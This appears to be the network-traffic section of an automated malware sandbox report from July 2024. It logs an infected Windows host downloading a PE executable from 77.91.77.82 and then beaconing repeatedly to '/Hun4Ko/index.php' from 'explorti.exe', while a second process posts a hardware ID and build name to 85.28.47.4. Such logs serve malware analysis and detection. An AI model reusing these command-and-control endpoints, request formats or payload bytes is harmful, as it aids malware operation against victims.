Jul 2, 2024 04:13:05.071314096 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:04 GMT Content-Type: application/octet-stream Content-Length: 2514944 Last-Modified: Tue, 02 Jul 2024 00:00:51 GMT Connection: keep-alive ETag: "66834333-266000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 40 66 bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 bf 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELAf!@f@@ @@@0!@@Pp# @y#(@.data0"P,"4@
Jul 2, 2024 04:13:05.071342945 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5d 66 8a 71 bb e5 fa 69 e6 06 01 bd 2e 7b 1f 29 50 93 19 63 67 d7 a4 c9 ef Data Ascii: ]fqi.{)PcgKH#j2}ql_Z'w<gWQw%nv+/nP]xRx;\H*cnZ1CSrUV67H"G`c 0";04h8V
Jul 2, 2024 04:13:05.071361065 CEST	448	IN	Data Raw: aa ac 6d 50 0d 89 1d bb 42 0e 74 cd ea 6f 40 c1 88 7b 08 39 9d bd ef 38 02 33 34 06 31 15 43 c6 01 9c 2a 3f 06 45 f0 fb cb c8 eb 6c 7a ec 9e 46 2d 80 94 61 73 d7 af 27 6c d4 8b 74 ec 50 38 81 40 5f 07 75 ce 05 a6 45 55 71 4f 72 3d 45 82 5a 23 c6 Data Ascii: mPBto@{98341C*?ElzF-as'ltP8@_uEUqOr=EZ#a~Rvg!z]Q06m[1^]NtDh1\9Q[Ds8X!c/0f&]T]oyq.E+u7')J'[;#0^,:Kq
Jul 2, 2024 04:13:05.071377039 CEST	1236	IN	Data Raw: ab 26 4d 81 8f ed 90 2d 2e c1 69 a5 b6 77 63 b9 74 0e 0a 8f b7 1e cd e2 f4 08 07 fa 5d 0e 17 30 b3 a7 0c a2 ff 41 f4 b9 af 3b 7e bb 2f 6a 98 e8 68 da 84 2a a0 19 e2 ad 05 48 02 1d 42 2d 00 4a f4 ad 05 3b 49 cd 33 80 07 1a 33 d2 01 18 04 47 50 0d Data Ascii: &M-.iwct]0A;~/jh*HB-J;I33GPMF#f;I"O/OxaLd]u%ehR^I#::h0Lh#->p2}Mt!D'hWGdMo!5'%;(hE%9eYn
Jul 2, 2024 04:13:05.071396112 CEST	1236	IN	Data Raw: 38 37 b9 af 01 39 1a 72 3f 67 b2 71 e1 07 f8 fe 92 25 d7 6e d4 52 d7 a7 9c 13 d4 1a 05 54 a6 38 7f 8c 63 ee fc 22 1d 1d 98 47 6d 27 fa c5 e3 7b 8f 8e ff f3 ab a8 80 1d 99 8d 23 a2 40 ce 3e 12 7d 4f 05 f7 ac 15 56 6f 1c 35 d4 8d c0 a6 7d e0 06 7b Data Ascii: 879r?gq%nRT8c"Gm'{#@>}OVo5}{<JTEzRpSO#)4\!Z~'(]~7e7pR[;Ixc1\\|@72m&RaO;%d(n"X8YZ
Jul 2, 2024 04:13:05.071412086 CEST	1236	IN	Data Raw: b9 49 a9 62 ad 7a 15 c2 ac 9c 64 ce ee df bb 6f 2f c9 4e 18 84 12 d8 e0 dc 1b d4 3f e3 06 d0 fe 0f 0c 6e f6 57 b9 37 66 b6 bb 2e d8 ae f6 e6 57 35 55 33 a3 7c 5c 87 91 bf dd 70 a0 3c 3a 00 61 1c 12 f8 09 cf 1b c7 72 99 2f 74 7d f3 d8 ac 9b fb 4d Data Ascii: Ibzdo/N?nW7f.W5U3\|\p<:ar/t}Mo ]+g,gY-"U&T(~IU):,P"7bKl3A~V9 >uat_+B5a#j!% Z[ZzU`//KWc5Q~ux]y
Jul 2, 2024 04:13:05.071429968 CEST	1236	IN	Data Raw: 94 55 18 4a f9 d1 42 9b 14 b5 d7 a7 89 ea e4 bc 9d 43 ac d5 3d 57 af 4d 67 d2 0a 7f 08 72 5e e7 53 19 17 f5 fa 19 04 b3 44 1f 4f 33 56 39 eb cf 1e 1d 14 e9 bb 37 b5 62 f1 82 9b 81 cb f2 cf 23 16 58 23 7e 07 34 57 ea fe 89 3f 42 76 c0 63 80 57 54 Data Ascii: UJBC=WMgr^SDO3V97b#X#~4W?BvcWT2S*)fOF\|T$}N[GnzFdXU0dK[xX?2(CKf..W4uLSTAps=Vk^5bW
Jul 2, 2024 04:13:05.071444988 CEST	1236	IN	Data Raw: 73 8d 76 70 43 85 a8 e7 95 5c eb ea 4c 15 31 62 56 51 03 bb 8e 35 59 02 9d 59 47 36 59 dd 32 c5 f0 24 1e e1 c9 eb 9b 05 35 ad 77 66 ec 28 90 a7 ef f8 9e 5b a0 5f 84 a8 8c 7e 9a 65 af 7d 06 66 81 07 70 b8 4d c2 01 ca b0 0f 27 12 4b a4 d4 f9 12 42 Data Ascii: svpC\L1bVQ5YYG6Y2$5wf([_~e}fpM'KBF7*CKPZTEaMV9}%gkhGKbyi6L2?=<dxv8&;J3.x'9Y^U&d\|-zk6G
Jul 2, 2024 04:13:05.071465015 CEST	1236	IN	Data Raw: 72 cc 18 df bd 58 1f 3c 1c 9c 7b c4 c3 19 73 0b 7c 67 8f a4 52 be 16 7e cf 70 8c 7e 39 00 ec f7 97 8a 88 cb 55 11 71 db e4 e2 c1 27 53 57 f5 09 a1 57 bc bf ea 0c 6e b5 19 43 2a 39 5c f8 ff 80 75 32 0d 71 10 aa 56 22 fd d1 4f 54 0e 65 dd de fa 10 Data Ascii: rX<{s\|gR~p~9Uq'SWWnC9\u2qV"OTebt+ViqF+T3ir](]0%pIMX66[&REjr[&m8Yiyu!8:\|Tx4`9q#:HqTGLs;.7s
Jul 2, 2024 04:13:05.071481943 CEST	1236	IN	Data Raw: b1 2c a7 e9 aa 29 b1 dc b2 09 a5 25 c5 44 a9 4f a1 3b bd 0a b7 7c 08 a0 9c c7 3a ad a1 ec e2 b1 a6 51 c4 bd 95 8f 40 4c 90 90 83 6b f8 86 06 3a af 2a 75 2f 8e 8c 59 6a 15 82 4a 2c e0 bd 72 26 8b 7f 60 d7 ac fc f3 88 ac 0f 8c a3 37 bd 6b 8a 68 79 Data Ascii: ,)%DO;\|:Q@Lk:u/YjJ,r&`7khyFnM)F'ON@g`u(pTtnI$q-&lU8A8CJ0fg>-a%lU"_[*F&3Rg\|bX
Jul 2, 2024 04:13:05.076672077 CEST	1236	IN	Data Raw: b4 83 d7 ff 48 e9 52 b9 71 d0 1e 71 d8 fa 09 85 e9 0a 51 0f 38 a4 99 0b 1d 09 36 78 ab 4b c9 e9 b6 01 0f 68 0b fc 5c 38 06 3b a5 84 b7 03 8d 2d b5 92 80 92 e5 fd 37 3e b2 32 76 3f 0b 6c 49 14 e4 38 c5 44 c0 67 99 af 9e 55 df 7b 0c 19 33 bc a9 d4 Data Ascii: HRqqQ86xKh\8;-7>2v?lI8DgU{3\|95"pm!9=p;CLhaQ/j**R]C5+G"x)CLU'f>JX&Y_w(s),S&J}3dJrBI^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	54803	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:07.927963972 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Jul 2, 2024 04:13:08.775559902 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	54804	85.28.47.4	80	7620	C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:07.970690966 CEST	408	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 85.28.47.4 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 30 36 38 32 30 43 43 35 33 33 32 36 33 32 34 32 37 36 35 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="hwid"8506820CC5332632427659------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build"jony------EGCBAFCFIJJJECBGIIJK--
Jul 2, 2024 04:13:08.775540113 CEST	211	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:13:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	54805	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:08.882757902 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:09.595180035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:09.598668098 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:09.826147079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	54806	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:09.947902918 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:10.673032045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:10.697331905 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:10.923384905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	54807	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:11.039021015 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:11.761370897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:11.762150049 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:11.982069969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	54808	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:12.101377964 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:12.805829048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:12.806663036 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:13.034926891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	54809	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:13.148159981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:14.034604073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:14.037194014 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:14.257426977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	54810	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:14.367084026 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:15.053411961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:15.054255962 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:15.269238949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	54811	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:15.382842064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:16.097284079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:16.098036051 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:16.376880884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	54812	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:16.492193937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:17.196085930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:17.196825027 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 